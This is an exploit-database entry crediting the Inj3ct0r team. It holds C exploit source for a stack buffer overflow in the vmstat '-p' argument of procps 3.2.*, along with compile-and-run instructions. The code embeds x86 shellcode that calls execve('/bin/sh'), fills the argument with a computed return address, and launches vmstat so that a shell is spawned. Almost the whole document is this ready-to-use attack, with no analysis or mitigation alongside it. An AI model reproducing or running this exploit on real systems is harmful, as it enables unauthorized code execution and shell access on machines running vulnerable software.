procps 3.2.* vmstat argument stack overflow

/*
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1                  \ \____/ >> Exploit database separated by exploit   0
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0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
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0               I'm Angel Injection member from Inj3ct0r Team          1
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Exploit Title: procps 3.2.* vmstat argument stack overflow
Author: Angel Injection
Home: http://www.1337day.com
Thanks To: All Mempers 1337day " inj3ct0r team "
Usage: gcc inj3ct0r.c -o inj3ct0r ||| [email protected]:~# ./inj3ct0r

*/

#include<stdio.h>
#include<string.h>

#define BUFFER_SIZE 32
#define VMSTAT_PATH "/usr/bin/vmstat"

char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh"; //jmp-call execve()

int main()
{
char *payl0ad= (char *)malloc(BUFFER_SIZE);
char *envir0n[2]= {nitrous_egg,NULL};

unsigned long retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);

printf("-=[ Jumping to: 0x%x\n\n", retaddr);

int x;
for(x=0; x<BUFFER_SIZE; x+=4)
*(unsigned long *)&payl0ad[x]= retaddr;

execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);

return 0;
} 



#  0day.today [2018-04-11]  #